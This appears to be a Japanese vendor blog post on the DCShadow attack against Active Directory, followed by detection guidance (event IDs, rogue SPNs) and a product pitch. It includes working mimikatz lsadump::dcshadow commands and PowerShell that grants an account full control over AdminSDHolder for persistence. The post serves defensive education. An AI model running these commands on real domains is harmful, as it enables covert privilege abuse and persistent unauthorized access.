Netwrix 1Secureは、データとアイデンティティ全体にわたる統合された可視性を提供します。14日間の無料トライアルでフルアクセス可能です。無料トライアルを開始

リソースセンターブログ

DCShadow 攻撃とは何か、そしてどう防御するか

DCShadow 攻撃とは何か、そしてどう防御するか

May 18, 2023

DCShadow は、侵害された特権クレデンシャルを持つ攻撃者が、なりすましの Active Directory ドメインコントローラー(DC)を登録し、永続性の確立を助けるような改変などの悪意ある変更をレプリケートできるようにする、後期段階の kill chain 攻撃です。より具体的には、DCShadow はオープンソースのハッキングツール Mimikatz の lsadump モジュールにあるコマンドです。2018 年の初めに導入され、Microsoft Directory Replication Service Remote(MS-DRSR)プロトコルの特定の指示を利用します。

厳選された関連コンテンツ:

DCShadow 攻撃は防ぐのが難しいです。DCSync と同様に、修正(パッチ)で対応できるような脆弱性を悪用するのではありません。複製プロセスの正当で必要な機能を悪用するため、それらはオフにしたり無効化したりできません。さらに、攻撃者が要求した変更が正当なドメイン複製として登録・処理・コミットされるため、DCShadow 攻撃は検出も困難です。

DCShadow 攻撃の概要

DCShadow 攻撃の手順を概要として示します:

  1. 攻撃者は、たとえばセキュリティが不十分なグループ管理サービス アカウント(group-managed service account)を侵害することで、Domain Admin または Enterprise Admin の権限を取得します。
  2. 攻撃者は DCShadow を使用して、AD の構成スキーマとワークステーションの SPN を変更し、コンピューター オブジェクト(例:ワークステーション)をドメイン コントローラーとして登録します。これにより、AD はそのワークステーションを DC(ドメイン コントローラー)だと判断し、変更を複製(replicate)することを信頼します。
  3. 攻撃者は、パスワードデータ、アカウント情報、またはセキュリティグループのメンバーシップへの変更など、複製のための変更を送信します。複製がトリガーされると、他の DC によって変更が公開され、コミットされます。
  4. 攻撃者は DCShadow を使用して、不正な(rogue)ドメイン コントローラーを AD databaseから削除し、自分の活動を隠ぺいします。

簡単な例:DCShadow を使って軽微な変更を複製する

ここでは、DCShadow を使って不正な(rogue)DC を登録した攻撃者だと仮定します。ドメイン内のすべての DC にわたって単純な変更を複製するために、考えられる手順は次のとおりです。

ステップ 1:SYSTEM アカウントを使用するよう切り替えます。

複製(replicated)される変更を作成するプロセスは、ドメイン ユーザー アカウントではなく SYSTEM アカウントとして実行する必要があります。登録済みの DC からの変更のみが複製されるためです。これを行わないと、次のエラー コードが表示されることがあります:

      ERROR kuhl_m_lsadump_dcshadow_force_sync_partition ; IDL_DRSReplicaAdd DC=JEFFLAB,DC=local 0x80090322 (2148074274)
      

Mimikatz で SYSTEM としてプロセスを実行する方法の 1 つは Mimikatz を使うことです。PSExec

      PsExec.exe –i –s cmd.exe
      

いま SYSTEM として実行していることを確認するには whoami コマンドを使用します。

Two command prompts, one using PsExec to launch the other with 'nt authority\system' privileges.

次に token::elevate を使用して、すべてのスレッドが SYSTEM として実行されることを確認します。

Image

ステップ 2。必要な変更をプッシュします。

これで変更を適用できるようになります。このシンプルな例として、Administrator アカウントの説明を変更しましょう:

      lsadump::dcshadow /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local /attribute:description /value:”DCShadow was here!”
      
Terminal output of a mimikatz dcshadow command, showing a description attribute updated to 'DCShadow was here!'.

ステップ 3. レプリケーションをトリガーします。

レプリケーションをトリガーするには、別のウィンドウを開き、侵害された Domain Admin アカウントで(SYSTEM ではなく)次のコマンドを実行します:

      lsadump::dcshadow /push
      

元のウィンドウに、結果のイベントが表示されます:

Terminal window displaying mimikatz output from lsadump and dcshadow commands, showing domain and server information, and steps for registration, push, syncing, and unregistration.

ステップ 4. 変更を確認します。

ドメイン コントローラーに移動し、description(説明)フィールドを確認してください:

Windows Administrator Properties dialog box, General tab, showing 'DCShadow was here!' in the Description field.

実例の攻撃:DCShadow を使って永続化(persistence)を実現する

では、実際の攻撃で攻撃者がどのように DCShadow を行うのか見てみましょう。DCShadow を実行するには、あらかじめ Domain Admin または Enterprise Admin の権限が必要です。では、なぜ DCShadow を使う必要があるのでしょうか?

理由の1つは、データの持ち出し(data exfiltration)に Domain Admin アカウントを使いたくない場合があることです。こうしたアカウントはしばしば厳重に監視されており、アラームがより簡単に発動してしまうためです。もう1つの理由は、他のフォレストで管理者権限を取得するためです

しかし、最もよくある理由の1つは持続(persistence)を作ることです。つまり、侵害した管理者アカウントへのアクセスを失っても、そのドメイン内で足場を維持できるようにするためです。では、DCShadow を使って持続性を実現する方法の1つを、順を追って見ていきましょう。

基本的なワークフローは次のとおりです:

  1. ドメイン内の保護対象アカウントおよびグループに対してテンプレート権限を提供する AdminSDHolder オブジェクトを確認します。
  2. AdminSDHolder に、完全制御(Full Control)権限を持つ新しいアカウントを追加します。
  3. DCShadow を使用して変更をレプリケートします。

ステップ 1。AdminSDHolder オブジェクトを確認します。

AdminSDHolder オブジェクトを確認するために、いくつかの基本的な PowerShell を使用します:

      $AdminSDHolder = [adsi]'LDAP://CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local'

$SDDL = $AdminSDHolder.ObjectSecurity.Sddl
      
Image

結果をより読みやすい形式に変換するには、ConvertFrom-SDDLString コマンドを使用できます:

Image

ステップ 2:AdminSDHolder コンテナーにアカウントを追加します。

永続化を作成するには、その SID を使って AdminSDHolder にアカウントを追加する必要があります。必要なのはオブジェクトの識別名(distinguished name)だけで、次のコマンドにより、その SID が変数 $UserSid に格納されます:

      $UserToAdd = [adsi]'LDAP://CN=Bob Loblaw,OU=Business,OU=Users,OU=JEFFLAB,DC=JEFFLAB,DC=local'

$UserSid  = New-Object System.Security.Principal.SecurityIdentifier($UserToAdd.objectSid[0], 0)
      
Image

これで、その変数を使って AdminSDHolder にアカウントを追加し、フル コントロール(Full Control)権限を付与できます。次の PowerShell コマンドを使用します:

      $NewSDDL = $SDDL + "(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + $UserSid.Value + ")"
      

AdminSDHolderをもう一度確認すると、ユーザーが最後のエントリとして表示されているのが分かります:

A PowerShell console showing white text on a blue background, with output from `AdminSDHolder-SDK.ps1` and a red box highlighting a security identifier (SID) string.

ステップ 3:DCShadow を使用して変更を複製します。

属性値として新しい権限が用意できたので、DCShadow で簡単に適用できます。SYSTEM として実行することで、次のコマンドを使用して目的の変更を行えます:

      mimikatz.exe "lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=JEFFLAB,DC=local /attribute:ntsecuritydescriptor /value:[output from the previous command]”
      
Image

ここでは、変更が複製の準備完了であることを確認できます:

A black screen with white text displaying technical output from

次に lsadump::dcshadow/push コマンドを使って複製をトリガーします。ここでは、ユーザーが追加された更新済みの AdminSDHolder オブジェクトが確認できます。まもなく、これはドメイン内のすべての保護対象グループに反映されます。

Windows Advanced Security Settings dialog with the 'Bob Loblaw' user entry, granting full control, highlighted in blue and red.

DCShadow 攻撃の防止

これは、DCShadow が永続化を確立するため、または Active Directory のセキュリティを損なうために悪用され得る方法の 1 つにすぎません。 これらの攻撃の防止が難しいのは、パッチで修正できる欠陥ではなく、Active Directory のネイティブ機能を悪用するためです。

防御の最重要ポイントは、DCShadow 攻撃を実行するには攻撃者が Domain Admin または Enterprise Admin 権限を持っている必要があることです。したがって、この攻撃を阻止するための最も効果的な戦略は、これらの強力なセキュリティ グループへの不正なメンバー追加を防ぐことです。

DCShadow 攻撃の検知

DCShadow を使用する大きな利点は、攻撃者がイベント ログに記録されない変更を行えることです。変更はレプリケーションを通じて行われるため、正当なものとして見なされます。それでも、イベント ログを使うことで攻撃が発生している兆候を見つけることができます。以下は注目すべき主要なイベントです。

コンピューター SPN の変更

DCShadow を動作させるには、ドメイン コントローラーをなりすます(攻撃者が DCShadow を実行しているコンピューター)コンピューターに、特定のサービス プリンシパル名(SPN)値を2つ追加する必要があります。これは、ドメインに参加している任意のコンピューターで構いません。

その2つの SPN は次のとおりです。

  • グローバル カタログ サーバー SPN — 形式は GC/<DNS ホスト名>/<DNS フォレスト名>.
  • ディレクトリ レプリケーション サービス(Directory Replication Service, DRS)SPN — 形式は <DRS インターフェイス GUID>/<DSA GUID>/<DNS ドメイン名> であり、<DRS インターフェイス GUID> は常に E3514235–4B06–11D1-AB04–00C04FC2DCD2 です。

DCShadow 攻撃の兆候は、ドメイン コントローラーではないコンピューターにこれらの SPN が追加され、その後それらの SPN が削除されることを確認することで見つけられます。(注: 当社のラボでは、DCShadow は Global Catalog サーバーの SPN だけを削除し、DRS SPN は残します。)

イベント ID 4742 を使用して、これらの変更を監視できます。このイベントでは、変更を開始したユーザーが表示されるため、攻撃を実行するのに使われている Domain Admin アカウントが分かります。

Windows Event Properties for security event 4742 (computer account changed), detailing GOBIAS-PC01$ by GOBIAS\tobias.funke, with Service Principal Names highlighted.

DC の作成と削除

DCShadow 攻撃の次のステップは、Configuration Namespace の Sites コンテナー内に DC を作成することです。これは、そのサーバー用のサーバーと NTDS 設定を作成することで行います。以下に、正規のドメイン コントローラーについてのこれらのオブジェクトを示します:

Image

DCShadow は DC とその設定を作成し、その後変更がレプリケートされると、痕跡を隠すために直ちにエントリを削除します。これにより、新しい DC が追加されたあと削除されるという、奇妙な一連のイベントが残ります。

追加は、イベント ID 5137 で追跡できます。このイベントには、不正な DC(rogue DC)の名前、その GUID とオブジェクト クラス、およびそれを作成した責任アカウントが含まれています:

Screenshot of Windows Event Properties for Event 5137, detailing the creation of an Active Directory service object by tobias.funke.

イベント ID 5141 は、DC の削除についても同じ情報を表示します:

Image

不審な レプリケーション イベント

レプリケーションを監視することで、DCShadow 攻撃を検出することも可能です。ただし、トリガーされるレプリケーション イベントは、正当なレプリケーション イベントと見分けがつきにくい場合があります。

それでも、イベント ID 4929 は有用な手がかりになり得ます。これは、ソースのネーミング コンテキストが削除され、ソースとして不正な DC(rogue DC)を指すようになることを示しているためです。認識されていないドメイン コントローラー以外のコンピューターでこのイベントを確認した場合は、重大な注意信号と見なすべきです。

Image

レプリケーションの失敗

さらに、イベント 4935 と 4936 の組み合わせは、DCShadow に結び付けられることが多いレプリケーションの失敗を示します。

Netwrix が支援できること

Netwrix StealthDEFENDは、DCShadow 攻撃を検出して対応するための、業界トップクラスのソリューションです:

検出

Netwrix StealthDEFEND は、組み込みの DCShadow 脅威検知を提供します。DCShadow 攻撃を示唆する挙動について、すべてのドメインのレプリケーションおよび変更イベントをリアルタイムで監視します。特に、DC の追加および削除を監視し、レプリケーション監視トラフィックをモニターします。

以下は、Netwrix StealthDEFEND が新しいドメイン コントローラーの追加を検知した例です:

Image

DC の追加だけでも十分に疑わしいですが、レポートではさらに、そのマシンが Windows 10 を実行している点も強調しています。Windows 10 はドメイン コントローラーの役割をサポートしていません。イベントの詳細を展開すると、DCShadow 攻撃の一部として実施された具体的な変更内容が確認できます:

Event Details table showing Active Directory operations like create, modify, and delete by user Jerry Ficher.

対応

DCShadow 攻撃をいち早く検知することは重要ですが、それだけでは十分ではありません。なぜなら、それは攻撃者が高度に特権を持つアカウントを侵害していることを意味するからです。しかし、そのアカウントを単に無効化するだけでは不十分な場合があります。DCShadow 攻撃を見つけた時点で、攻撃者は他にも多数のネットワーク資源や利用可能なオプションをすでに確保して使っている可能性が高いためです。

Netwrix StealthDEFEND は、予想される各脅威や脆弱性ごとに、効果的なプレイブックを簡単に作成できるよう支援する豊富な自動化対応オプションを提供します。DCShadow 攻撃の場合、プレイブックには次の手順を含める必要があります:

  • 組織内の適切な担当者に、攻撃が発生したことを通知し、効果的に対応するために必要な情報を提供します。Netwrix StealthDEFEND は、加害者、発信元、標的など、攻撃に関する重要な詳細情報をすべて提供します。さらに、PowerShell または webhook 機能を使って Slack、Microsoft Teams、ServiceNow、その他のシステムと容易に統合できるため、迅速な連絡を促進します。
ServiceNow incident creation configuration form, showing instance 'MyInstance.ServiceNow.com' and username 'ServiceNow_Integration_User'.
  • 加害者アカウントまたはワークステーションが、追加のレプリケーション、認証、またはその他のアクションを実行できないようにブロックします:
Image

よくある質問(FAQs)

DCShadow とは何ですか?

DCShadow は Mimikatz ツール内のコマンドであり、攻撃者が不正なドメイン コントローラーを登録し、悪意のある変更をドメイン全体に複製できるようにします。

DCShadow 攻撃はどのように機能しますか?

攻撃者は、AD の構成スキーマとワークステーションの SPN 値を変更することで、自分のコンピューターをドメイン コントローラーとして登録します。その後、ドメイン内で継続的に存在できるようにする変更などを含めて、変更を複製できるようになります。

DCShadow 攻撃はどのように検出できますか?

DCShadow 攻撃を検出する最善の方法は、疑わしいドメイン コントローラーの追加を継続的に監視し、複製トラフィックを異常なアクティビティについて監視する自動化ソリューションを使用することです。

DCShadow 攻撃への最善の対応方法は何ですか?

DCShadow 攻撃が検知された場合、時間が最重要です。したがって、イベントを直ちにセキュリティ チームへ報告し、アカウントがドメイン内でこれ以上の変更を行えないようにブロックする自動化されたワークフローを用意しておくのが最善です。

共有する

もっと詳しく

著者について

Jeff Warren

チーフ・プロダクト・オフィサー

Jeff Warren は Netwrix のプロダクトポートフォリオを統括しており、安全に重点を置いたプロダクトマネジメントおよび開発の分野で10年以上の経験を持ちます。Netwrix に入社する前、Jeff は Stealthbits Technologies にてプロダクト組織を率いていました。そこで彼はソフトウェアエンジニアとしての経験を活かし、革新的でエンタープライズ規模のセキュリティソリューションの開発に取り組みました。手を動かす実践的なアプローチと、難しいセキュリティ課題を解決するのが得意な点を強みに、Jeff は「実際に機能する」実用的なソリューションの構築に注力しています。彼はデラウェア大学(University of Delaware)で情報システム(Information Systems)の学士号を取得しています。